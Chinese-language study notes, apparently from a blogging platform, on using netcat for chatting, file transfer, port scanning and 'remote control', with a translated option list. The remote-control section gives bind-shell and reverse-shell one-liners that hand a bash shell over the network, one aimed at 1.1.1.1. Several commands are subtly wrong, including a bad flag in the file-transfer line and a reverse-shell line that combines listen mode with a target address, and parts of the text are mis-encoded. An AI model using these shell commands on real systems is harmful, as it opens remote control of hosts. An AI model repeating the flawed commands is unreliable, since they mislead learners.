NetCat學習筆記

Netcat(Linux下NC命令)主要用途:

1.掃描制定ip端口情況。

2.端口監(jiān)聽,端口轉發(fā)。

3.提交自定義數(shù)據(jù)包。

4.遠程控制。



1.netcat 傳輸文本信息

kali pc1: ?作為服務端,先打開端口,例如333號端口,代碼如下:

nc -lp 333

kali pc2:作為客戶端,打開對應端口,并連接對方IP地址:

nc -nv (server ip)? 333

2.netcat 傳輸文件

pc1:作為服務機,先打開端口,例如333號,然后將文件重定向:

nc -l? -p 333 > lsof.txt

pc2:作為客戶機,將傳輸過來的文件寫入:

lsof | nc -nc 192.168.170.131 333 -q 1.

3.端口掃描

nc -vnzu (ip address)? 端口號

4.遠程控制(重點)(控制為雙向的)

正向:

A:

nc -lp 333 -c bash

相當于打開 333號端口

B:

nc 1.1.1.1 ?333

相當于連接333號端口,此時B控制A。

反向:

A:

nc -lp 333

B:

nc -lp 1.1.1.1 333 -c bash




主要參數(shù):

options:

-d ? ? ? ? ? ? ?無命令行界面,使用后臺模式

-e prog ? ? ? ? ?程序重定向 [危險!!]

-g gateway ? ? ? 源路由跳躍點, 不超過8

-G num ? ? ? ? ?源路由指示器: 4, 8, 12, ...

-h ? ? ? ? ? ? ?獲取幫助信息

-i secs ? ? ? ? ? 延時設置,端口掃描時使用

-l ? ? ? ? ? ? ? 監(jiān)聽入站信息

-L ? ? ? ? ? ? ?監(jiān)聽知道NetCat被結束(可斷開重連)

-n ? ? ? ? ? ? ?以數(shù)字形式表示的IP地址

-o file ? ? ? ? ? 使進制記錄

-p port ? ? ? ? ?打開本地端口

-r ? ? ? ? ? ? ? 隨機本地和遠程的端口

-s addr ? ? ? ? ?本地源地址

-t ? ? ? ? ? ? ? 以TELNET的形式應答入站請求

-u ? ? ? ? ? ? ?UDP 模式

-v ? ? ? ? ? ? ? 顯示詳細信息 [使用=vv獲取更詳細的信息]

-w secs ? ? ? ? ?連接超時設置

-z ? ? ? ? ? ? ? I/O 模式 [掃描時使用]

端口號可以是單個的或者存在一個范圍: m-n [包含值]。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容